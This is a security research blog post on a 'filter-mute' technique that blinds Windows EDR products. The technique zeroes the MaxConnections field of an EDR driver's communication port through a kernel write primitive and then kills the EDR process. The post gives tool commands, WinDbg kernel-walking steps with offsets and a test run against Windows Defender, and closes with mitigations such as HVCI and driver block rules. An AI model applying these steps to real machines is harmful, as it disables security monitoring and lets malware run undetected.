For our annual internal hacker conference dubbed SenseCon in 2023, I decided to take a look at communication between a Windows driver and its user-mode process. Here are some details about that journey.
TL;DR
Attackers could use Windows kernel R/W exploit primitive to avoid communication between EDR_Driver.sys and its EDR_process.exe. As a result some EDR detection mechanisms will be disabled and make it (partially) blind to malicious payloads. This blogpost describes an alternative approach which doesn’t remove kernel callbacks and gives some recommendations for protecting against this “filter-mute” attack.
Overview of EDR_process.exe and EDR_Driver.sys roles
The first question that comes to mind is how does a EDR application (EDR_Process.exe) communicate with its EDR driver (EDR_Driver.sys)?
Before doing research we must know some EDR basics; how does an EDR agent hook / inject its own DLL during process creation?
The Process Injection via Callbacks schemas taken from EDR Observations made by Christopher Vella is a good summary.
I have added some comments on what’s happening:
- EDR_Driver.sys can subscribe to several kinds of kernel notifications. You can imagine those notifications are like “newsletters” you subscribe to on the Internet and receive by email from a website. For example EDR_Driver.sys could subscribe to the “new process creation” notification service using the Windows API named
PsSetCreateProcessNotifyRoutine
which then, for each process created by the system, the driver will receive information about it (parent PID, command line, etc) - The user double-clicks on malware.exe
- Windows calls the CreateProcessW API in order to load malware.exe into memory
- EDR_Driver.sys is notified that malware.exe **will be** spawned.
- EDR_Driver.sys sends a log to EDR_Process.exe saying “Hey! A new process called malware.exe will be started soon.”
- EDR_process.exe can choose to take action (or not): “Ok I will monitor this process by creating hooks in its ntdll.dll”
- When malware.exe runs, it calls the Windows API. Thanks to the hooks in place, EDR_Process.exe knows which APIs are called and can deduce what this malware.exe is doing
We could take the piece of code below from ired.team as an example of malware.exe.
Once hooks are in place, the EDR agent (EDR_process.exe) can monitor / analyse malware.exe. Here is an example of actions it could take:
1. EDR_Process.exe sees the following Windows API calls that are called by malware.exe:
- OpenProcess
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
2. EDR_Process.exe classifies this API call sequence as “malicious” and blocks (kills) the process.
3. EDR_Process.exe sends a log to the EDR_C2 (security console) saying “Hey, malware.exe process spawned and is classified as malicious”.
Note: this is a common EDR flow and not the only way it could work, for example EDR_Process.exe may only send telemetry data and let the EDR_C2 decide if it’s malicious and the action to be applied (block or not).
If the EDR vendor or the security team operators (aka blueteam) configured a “block if malicious” rule in the EDR Security Console then the malware.exe process is killed by EDR_Process.exe (or EDR_Driver.sys). Other countermeasures are also available, for example:
- the Windows host could be remotely isolated from the network
- malware.exe file or memory dump could be downloaded for analysis / reversing
- security analyst could run commands on the Windows host (from the security console) for investigation purpose
- …
This point is an important one; the more experienced the blueteam is in creating custom rules, the more difficult for attackers to evade or move laterally into the network without being caught!
Now before digging into internal communication, I want to take a step back and simplify the EDR behaviour. Internal communication (blue arrows) and external communication (yellow arrows) of the EDR_Process.exe could be visualised with a simple overview:
Digging into EDR internal communication
From Windows kernel memory space, EDR_Driver.sys could use several Windows Kernel API’s (callbacks) to monitor and then block the malicious system activities. For example the API PsSetCreateProcessNotifyRoutine
routine could be used to generate the following “monitoring logs” messages thanks to the kernel callback mechanism:
– Log = new process created (PID 5376) with cmd Line C:\notepad.exe
From usermode memory space, EDR_Process.exe could send action requests to the driver and receive information from it. For example an “Action request” coming from EDR security console could be:
– Action = denylist C:\notepad.exe
In the figure below I tried to map common Windows Kernel callbacks used for monitoring purposes.
The question which comes to mind after making this summary was how to avoid communication between EDR_process.exe and EDR_driver.sys?
Blinding EDR using known techniques
The most common techniques for blinding EDR sensors are:
- Removing the DLL hooks (userland)
- Removing the kernel callbacks (kernel land)
Because we only focus on kernel part of EDR, here is a visualisation on what happens when you remove kernel callbacks:
BEFORE zero out of the EDR callback address:
AFTER zero out of the EDR callback address:
We won’t go into details on this topic, it’s covered in the blogpost Blinding EDR On Windows from Zach Stein.
But you may notice in the figure below that each time you zero out the EDR callback address it means no more notifications (no “newsletter”) will be sent from Windows to EDR_Driver.sys. In the end, no event log will be sent to EDR_Process.exe (and security analyst console) anymore!
Blinding EDR using an alternative approach
During my research on this topic I was wondering how to avoid communication between EDR_process.exe and EDR_driver.sys without any callback modification ? Could we prevent EDR_process.exe and EDR_Driver.sys from exchanging “messages”?
Like I said before, we want to stay on the kernel side of the story. We could imagine this other approach using this graphical representation:
While I was trying to investigate using Windbg, Yarden Shafir wrote an awesome blog on Investigating Filter Communication Ports which really helped. I discovered some Windows data structures being manipulated during communication setup between an application and a driver.
The data structure named FLT_SERVER_PORT_OBJECT drew my attention because it seemed to contain interesting fields, see if you agree:
When I saw this, the first question which came to my mind was what could happen if we set MaxConnections to zero?
This data structure is initialised using the Windows Drivers API named FltCreateCommunicationPort:
NTSTATUS FLTAPI FltCreateCommunicationPort(
[in] PFLT_FILTER Filter,
[out] PFLT_PORT *ServerPort,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PVOID ServerPortCookie,
[in] PFLT_CONNECT_NOTIFY ConnectNotifyCallback,
[in] PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
[in, optional] PFLT_MESSAGE_NOTIFY MessageNotifyCallback,
[in] LONG MaxConnections
);
Microsoft documentation gives the following information:
What could we deduce? If we are able to reset MaxConnections to zero, it will only prevent new connections from happening. Let’s go for the following attack plan:
- Step 1: reset MaxConnections value
- Step 2: force EDR_Process.exe to restart (should require high privileges, probably NT SYSTEM)
- Step 3: observe EDR behaviour
Step 1: reset MaxConnections value
The first prerequisite for this step is to have a kernel-mode read / write primitive that we can use to set the value to 0. We will use BYOVD (Bring Your Own Vulnerable Driver) technique for this. As a second prerequisite we have to find the address of MaxConnections field in kernel memory right? Let’s take a look at how we can get this address!
The structure fltmgr!_FLT_SERVER_PORT_OBJECT we discussed previously could be reached by the structure fltmgr!_FLT_FILTER, which could be reached by the structure fltmgr!_FLTP_FRAME, which could be reached by the structure FLTMGR!_GLOBALS, which could be reached by the FltMgr.sys driver. The base address of this kernel module can be retrieved from userland using NtQuerySystemInformation Windows API.
I agree with Alex Ionescu when he said “I got 99 problems but a kernel pointer ain’t one” :-). We can find MaxConnections address by walking through Windows kernel data structures, starting from FltMgr.sys driver up to this field!
This is a bit long for the middle of the blogpost, but if you’re curious and want to know how to do this using Windbg, check out the EXTRA MILE section at the end: “kernel walking, 10 steps to get access to MaxConnections”
Here is what it looks like when you want to have a look at details concerning Windows Defender kernel driver:
With knowledge of the MaxConnections memory location, we can use a kernel-mode read primitive to get the current value, and using a kernel-mode write primitive we can set the value to 0.
Step 2: force EDR to restart
This phase could be difficult because EDR_Process.exe does its utmost to protect itself. Usually this program is started as a service and it will respawn after it dies but we don’t care since no connection is allowed by EDR_Driver.sys thanks to step 1 ;-)
Personally I do this operation using a my own tool (unsigned evil driver) which allows us to kill a process even if it’s protected, but it’s also possible to use Process Hacker (if not denylisted) or even better any exploitable “process killer drivers”. I highly recommend the blogpost by Alice Climent-Pommeret (@AliceCliment) Finding and exploiting process killer drivers with LOL for 3000$ which covers this topic!
Step 3: observe EDR behaviour
Let’s create a malware (code base available on ired.team) named `iwanttobeflag.exe` that will trigger Windows Defender:
We can then test the default reaction to our malware by copying the malicious payload from a share to the local disk. This raises an alert and is blocked by Windows Defender as expected: great!
copy z:\iwanttobeflag.exe c:\
Now we have something that would in general cause an alert that we can use to test if our technique mutes the EDR. Using this we can test if our “filter-mute technique” could be useful.
Implementing the Plan
Lets put this all together into a tool and test if our steps 1 and 2 can disrupt the alert caused in step 3.
I love the EDRSandblast tool made by Thomas DIOT (Qazeer) and Maxime MEIGNAN (@th3m4ks), it’s really amazing. I opened a pull requests / issue but I don’t know if the project is maintained. This led me to starting my own project named EDRSnowblast in order to implement this “minifilter driver mute technique“. More details on this project is available at https://v1k1ngfr.github.io/edrsnowblast/.
Lets walk through the steps on a live machine and see what happens!
1. enumerate drivers (filters) which are loaded in the kernel memory and identify Windows Defender : WdFilter at index 9 in the figure below
EDRSnowblast.exe filter-enum --kernelmode
2. retrieve details on WdFilter filter: for example MaxConnections & NumberOfConnections
EDRSnowblast.exe filter-enum --kernelmode --filter-index 9
3. mute WdFilter: set MaxConnections to zero
EDRSnowblast.exe filter-mute --kernelmode --filter-index 9
4. (optional) verify MaxConnections value using the –filter-enum option as seen previously
5. identify the PID of Windows Defender usermode process and kill it
tasklist | findstr MsMpEng.exe
MsMpEng.exe 2956 Services 0 206,788 K
c:\pimpmypid_clt.exe /kill 2956
6. copy our malicious payload created in step 3 and execute
copy z:\iwanttobeflag.exe c:\
c:\iwanttobeflag.exe
7. bask in our success
If you prefer, you can watch the live demo video below.
This technique was successfully tested against Windows Defender and two other EDR vendors.
How to protect / detect ?
We must start by asking what are the “filter-mute” pre-requisites ?
- you must use a Windows kernel R/W exploit primitive – if you want to use BYOVD (Bring Your Own Vulnerable Driver) you must have SeLoadDriverPrivilege, necessary for loading / unloading drivers (ex: local administrator, domain admin, domain print operator)
- you must be able to kill (or restart) the EDR usermode application
Now we could wonder if is it possible for Windows users to protect themselves? and yes some mitigations exist. Here are some recommendations:
- apply Windows patches: it removes vulnerabilities from Windows kernel & drivers
- use Microsoft VBS (enable HVCI): as you may have noticed, the attack vector used is BYOVD. This vector has been known for a long time and Microsoft did a great job to mitigate this with virtualization-based security (VBS) features available in Windows 10, Windows 11, Windows Server 2016, and later. More details on VBS in the Microsoft documentation: Virtualization-based Security (VBS)
- use Microsoft recommended driver block rules available here
- use Sysmon or Sigma rules: a huge list of known-vulnerable drivers is available on www.loldrivers.io and this project provides those kind of rules
Another question is: Can EDR vendors protect their drivers against this attack? Yes they can!
The fastest solution could be denylisting known-vulnerable drivers, avoiding them to be loaded. But this method has the same limitations as AV signatures; unknown vulnerable drivers won’t be blocked.
Better protections could be implemented by developers:
- always verify that EDR_process.exe is able to connect to EDR_driver.sys communication port. An example of code that could achieve this:
HANDLE hPort;
HRESULT hr = ::FilterConnectCommunicationPort(L"\\secureEDR",0, nullptr, 0, nullptr, &hPort);
if (FAILED(hr)) {
printf("Error connecting to EDR_driver.sys ! (HR=0x%08X)\n", hr);
if (hr == 0x800704D6) {
printf("ERROR_CONNECTION_COUNT_LIMIT : A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached.\n");
}
}
// Other common errors you should check are
// ERROR_BAD_PATHNAME (HR=0x800700A1)
// E_FILE_NOT_FOUND (HR=0x80070002)
// E_ACCESSDENIED (HR=0x80070005)
// ERROR_INVALID_NAME (HR=0x8007007B)
- Static KDP: an EDR driver should call the MmProtectDriverSection API for protecting a section of its image
- Dynamic KDP: allows a driver to allocate and initialise read-only memory using services provided by a secure pool, which is managed by the secure kernel, using ExAllocatePool3 API.
More details on KDP in the post from Andrea Allievi: Introducing Kernel Data Protection
Resources and acknowledgments
I would like to give you the most relevant resources used during this journey and also thanks those people helping this research to be easier.
Thank you for sharing your knowledge with the community!
– Yarden Shafir (@yarden_shafir) for the blog – Investigating Filter Communication Ports
– Christopher Vella (@kharosx0) for the talk – CrikeyCon 2019 talk – Reversing & bypassing EDRs
– Zach Stein (@synzack21) for the blog – Blinding EDR On Windows
– Alexandre Borges (@ale_sp_brazil) for the 109 pages (!) – Exploiting Reversing (ER) series
– Pavel Yosifovich (@zodiacon) for the book – Windows Kernel Programming
– Alex Ionescu (@aionescu) for the talks – REcon 2013 – I got 99 problems but a kernel pointer ain’t one
– Connor McGarr (@33y0re) for the blog – Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG
I hope you learnt something, thanks for reading!
EXTRA MILE: “kernel walking, 10 steps to get access to MaxConnections”
Alright you’re curious, the hacker spirit is great! Want to know how to get MaxConnections value? The method below shows how to get the MaxConnections value of the driver named bindflt.sys using Windbg. As a reminder / help, please find the hiking map below.
TL;DR: the full solution is available in the map at the end of this section
Step 0 – Identify the entry point
The starting point is the structure named FLTMGR!FltGlobals. You can get the address directly:
kd> ? FLTMGR!FltGlobals
But if you need to retrieve this address using a memory leak, this path works like a charm:
– get fltmgr.sys start address
lmdvm fltmgr
– get FltEnumerateFilters function offset, and in this function the offset of lea rcx, [FLTMGR!FltGlobals+0x58]
instruction
u FLTMGR!FltEnumerateFilters L15
– compute FLTMGR!FltGlobals start address: 0xfffff8061ea8b600
? fffff806`1ea8b658 - 0x58
Step 1 – compute the FrameList field address stored in FLTMGR!FltGlobals: 0xfffff8061ea8b6c0
kd> ? fffff806`1ea8b600 + 0x58 + 0x68
Step 2 – use pointer indirection and get the first frame (Links filed) address in FLTMGR!_FLTP_FRAME: 0xffffca0c38c61058
kd> ? poi(fffff806`1ea8b6c0)
Step 3 – compute the First frame start address: 0xffffca0c38c61050
kd> ? ffffca0c`38c61058 - 0x008
Step 4 – compute the Filter List address: 0xffffca0c38c61100
kd> ? ffffca0c`38c61050 + 0x48 + 0x68 + 0x000
Step 5 – use pointer indirection and get the First filter (PrimaryLink field) address: 0xffffca0c386e8020
kd> ? poi(ffffca0c`38c61100)
Step 6 – compute the First filter address (Base of FLTMGR!_FLT_FILTER): 0xffffca0c386e8010
kd> ? ffffca0c`386e8020 - 0x010
Ok nice we can verify and visualize where we are using Windbg filter kernel debugger (fltkd) command named frames:
Step 7 – compute the Server Ports List address: 0xffffca0c386e8250
kd> ? ffffca0c`386e8010 + 0x208 + 0x038 + 0x000
Step 8 – use pointer indirection and get the First Server Ports Object address (FLTMGR!_FLT_SERVER_PORT_OBJECT FilterLink address): 0xffffca0c3eaf73f0
kd> ? poi(ffffca0c`386e8250)
Step 9 – compute the MaxConnections field address: 0xffffca0c3eaf7430
kd> ? ffffca0c`3eaf73f0 +0x040
Step 10 – use pointer indirection and get the MaxConnections value: 1000
kd> .formats poi(ffffca0c`3eaf7430)
or
kd> dt _FLT_SERVER_PORT_OBJECT ffffca0c`3eaf73f0
Finally! You got it!
Final steps – set the MaxConnections value to zero and kill EDR_Process.exe
kd> eq 0xffffca0c3eaf7430 0
and
kd> !process 0 0 MsMpEng.exe
PROCESS ffffa40a23a5f340
kd> .kill ffffa40a23a5f340
Because it was a nightmare for me to visualise where I am in kernel memory, what are the fields of the data structures, the links between data structures, what offsets should I use, etc I made the map below (which also includes Windbg commands).
Maybe (as I did) are you wondering what are those values used in computations: yes those are offsets.
Offsets could change after Windows updates, personally I use a customised version of EDRSandblast’s ExtractOffsets.py script (available in EDRSnowblast). Output example is shown below.
Because we know the method and the offsets, we can automate this! PoC or GTFO, the code to do so can be found at EDRSnowblast.
Happy hacking!